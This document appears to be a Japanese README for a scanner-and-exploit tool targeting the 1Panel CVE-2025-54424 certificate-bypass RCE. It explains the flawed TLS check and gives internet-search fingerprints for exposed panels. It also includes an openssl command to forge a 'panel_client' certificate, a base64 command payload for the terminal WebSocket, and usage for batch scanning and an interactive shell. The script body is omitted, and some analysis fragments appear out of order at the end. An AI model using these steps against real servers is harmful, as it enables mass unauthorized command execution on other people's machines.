
1Panel CVE-2025-54424 向けの統合スキャナー&エクスプロイトツール。WebSocket を介した TLS 証明書バイパスとリモートコマンド実行を自動化し、バッチスキャンと対話型シェルを提供します。
CVE-2025-54424:1Panel クライアント証明書バイパス RCE 脆弱性 統合ツール (スキャン+エクスプロイト)
1Panel は、オープンソースでモダンな Linux 運用管理パネルであり、Web サイトのデプロイ、サーバー管理、サービスの実行をグラフィカルインターフェースで提供します。
影響を受けるバージョンでは、Agent 側の TLS 認証ポリシーが tls.RequireAnyClientCert であり、証明書の提示のみを要求し、その信頼性を検証しません。攻撃者は自己署名証明書を使用して TLS チェックをバイパスし、CN フィールドを panel_client に偽装することでアプリケーション層のチェックを回避できます。最終的に、攻撃者は偽造証明書を使用して未承認のコマンド実行インターフェースを呼び出し、リモートコマンド実行脆弱性を引き起こします。
<= v2.0.5
hunter および fofa のフィンガープリント構文は以下の通りです。
cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
GitHub 脆弱性アドバイザリの一部を引用

agent/init/router/router.go に移動します。
Routers 関数が Certificate 関数を参照し、グローバルチェック agent/middleware/certificate.go を行っていることが判明しました。

Certificate 関数が c.Request.TLS.HandshakeComplete をチェックして、証明書通信が行われたかどうかを判断していることが判明しました。

c.Request.TLS.HandshakeComplete の真偽判定は、agent/server/server.go の Start 関数内の tls.RequireAnyClientCert によって行われます。
注:ここでは tls.RequireAnyClientCert が使用されており、 ではありません。 はクライアントに証明書の提示のみを要求し、証明書の発行 CA を検証しないため、任意の自己署名証明書が TLS ハンドシェイクを通過できます。
/process/ws
リクエスト形式は以下の通りです。{
"type": "ps", // データ型: ps(プロセス), ssh(SSHセッション), net(ネットワーク接続), wget(ダウンロード進捗)
"pid": 123, // オプション、プロセスIDを指定してフィルタリング
"name": "process_name", // オプション、プロセス名でフィルタリング
"username": "user" // オプション、ユーザー名でフィルタリング
}

/hosts/terminal
リクエスト形式は以下の通りです。{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" のbase64エンコード、改行を忘れないでください。
}

/containers/terminal/files/wget/process1、証明書の生成
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
2、burp で生成した panel_client.crt と panel_client.key を読み込み、ws リクエストを開き、ターゲットを設定してリクエストを開始します。
私が開発したツール CVE-2025-54424.py スクリプトを使用して、バッチ検出とエクスプロイトを行います。ツールの使用説明は以下の通りです。
必要な依存関係をインストール pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel クライアント証明書バイパスRCE脆弱性 統合ツール (スキャン+エクスプロイト)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 単一ターゲット、エクスプロイトモードに移行します。例: 192.168.1.100:8080
-f FILE, --file FILE ターゲットファイル、バッチスキャンモードに移行します。
-o OUTPUT, --output OUTPUT
[スキャンモード] 脆弱性結果を保存するファイル名。
-t THREADS, --threads THREADS
[スキャンモード] 同時実行スレッド数。
--proxy PROXY すべてのリクエストにプロキシを設定します。例: http://127.0.0.1:8080
例えば、単一の検出+コマンド実行(SSH インタラクティブコマンド実行)は下図の通りです。

import base64
...
(コード内容は省略、原文のまま)
...
このツールはセキュリティ研究および学習目的のみで提供されます。本ドキュメントの情報を流布、利用したことにより直接的または間接的に生じた結果や損害については、すべて利用者が責任を負うものとし、作者は一切の責任を負いません。
tls.RequireAndVerifyClientCertRequireAnyClientCertその後、Certificate 関数内の他のチェックで、証明書の CN フィールドが panel_client であることのみが検証され、証明書の発行者は検証されません。最後に、WebSocket 接続が Proxy-ID 検証をバイパスできることが判明しました。

プロジェクトには多数の websocket インターフェースが存在します。